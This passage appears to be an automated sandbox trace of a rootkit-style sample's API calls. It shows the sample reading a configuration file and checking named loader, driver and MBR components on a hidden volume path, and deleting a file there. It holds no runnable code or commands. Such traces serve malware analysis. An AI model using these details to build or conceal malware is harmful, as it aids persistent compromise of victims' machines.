(StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.052] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.052] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.052] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.052] IdePortDispatch () returned 0x103 [0130.052] KeWaitForMutexObject () returned 0x0 [0130.052] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.052] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.052] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.052] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.052] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.052] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08270 [0130.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.052] KeLeaveCriticalRegion () [0130.052] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.052] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.052] KeEnterCriticalRegion () [0130.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.052] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.052] KeLeaveCriticalRegion () [0130.052] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.053] KeEnterCriticalRegion () [0130.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.053] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.053] IdePortDispatch () returned 0x103 [0130.053] KeWaitForMutexObject () returned 0x0 [0130.053] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.053] KeLeaveCriticalRegion () [0130.053] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.053] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.053] KeEnterCriticalRegion () [0130.053] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.053] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d16000 [0130.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.053] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.053] IdePortDispatch () returned 0x103 [0130.053] KeWaitForMutexObject () returned 0x0 [0130.053] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.054] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.054] IdePortDispatch () returned 0x103 [0130.054] KeWaitForMutexObject () returned 0x0 [0130.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.054] KeLeaveCriticalRegion () [0130.054] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.054] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.054] KeEnterCriticalRegion () [0130.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.054] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.054] KeLeaveCriticalRegion () [0130.054] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.054] KeEnterCriticalRegion () [0130.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.055] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.055] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c08330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.055] KeLeaveCriticalRegion () [0130.055] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.055] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.055] KeEnterCriticalRegion () [0130.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.055] ExFreePoolWithTag (P=0xfffffa8003c08270, Tag=0x0) [0130.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.055] KeLeaveCriticalRegion () [0130.055] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.055] ReleaseMutex (hMutex=0xf0) returned 1 [0130.055] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.055] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.055] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.055] KeEnterCriticalRegion () [0130.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.055] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.055] IdePortDispatch () returned 0x103 [0130.055] KeWaitForMutexObject () returned 0x0 [0130.055] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.055] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.055] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.055] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.055] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.055] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0130.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.055] KeLeaveCriticalRegion () [0130.055] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.056] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.056] KeEnterCriticalRegion () [0130.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.056] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.056] KeLeaveCriticalRegion () [0130.056] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.056] KeEnterCriticalRegion () [0130.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.056] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.056] IdePortDispatch () returned 0x103 [0130.056] KeWaitForMutexObject () returned 0x0 [0130.056] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.056] KeLeaveCriticalRegion () [0130.056] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.056] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.056] KeEnterCriticalRegion () [0130.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.056] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d17000 [0130.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.056] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.056] IdePortDispatch () returned 0x103 [0130.056] KeWaitForMutexObject () returned 0x0 [0130.057] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.057] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.057] IdePortDispatch () returned 0x103 [0130.057] KeWaitForMutexObject () returned 0x0 [0130.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.057] KeLeaveCriticalRegion () [0130.057] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.057] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.058] KeEnterCriticalRegion () [0130.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.058] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.058] KeLeaveCriticalRegion () [0130.058] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.058] KeEnterCriticalRegion () [0130.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.058] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.058] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.058] KeLeaveCriticalRegion () [0130.058] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.058] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.058] KeEnterCriticalRegion () [0130.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.058] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0130.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.058] KeLeaveCriticalRegion () [0130.058] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.058] ReleaseMutex (hMutex=0xf0) returned 1 [0130.058] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.058] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.058] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.058] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.058] KeEnterCriticalRegion () [0130.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.058] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.058] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.058] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.058] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.058] IdePortDispatch () returned 0x103 [0130.058] KeWaitForMutexObject () returned 0x0 [0130.059] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.059] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.059] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.059] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.059] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.059] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.059] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.059] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.059] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.059] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.059] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.059] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.059] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.059] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.059] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.059] KeLeaveCriticalRegion () [0130.059] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.059] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.059] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.059] KeEnterCriticalRegion () [0130.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.059] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.059] IdePortDispatch () returned 0x103 [0130.059] KeWaitForMutexObject () returned 0x0 [0130.059] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.059] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.059] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.059] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.059] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.060] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.060] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.060] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.060] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.060] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.060] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.060] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.060] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.060] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.060] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.060] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.060] KeLeaveCriticalRegion () [0130.060] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.060] ReleaseMutex (hMutex=0x100) returned 1 [0130.060] Sleep (dwMilliseconds=0x2bf20) [0130.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70b9a090, dwHighDateTime=0x1d24fa4)) [0130.068] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.068] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.068] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.068] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.068] KeEnterCriticalRegion () [0130.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.068] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.068] IdePortDispatch () returned 0x103 [0130.068] KeWaitForMutexObject () returned 0x0 [0130.068] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.068] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.068] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.068] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.068] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.068] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08fb0 [0130.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.068] KeLeaveCriticalRegion () [0130.068] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.068] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.068] KeEnterCriticalRegion () [0130.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.068] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.068] KeLeaveCriticalRegion () [0130.068] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.068] KeEnterCriticalRegion () [0130.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.069] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.069] IdePortDispatch () returned 0x103 [0130.069] KeWaitForMutexObject () returned 0x0 [0130.069] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.069] KeLeaveCriticalRegion () [0130.069] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.069] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.069] KeEnterCriticalRegion () [0130.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.069] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1a000 [0130.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.069] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.069] IdePortDispatch () returned 0x103 [0130.069] KeWaitForMutexObject () returned 0x0 [0130.069] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: 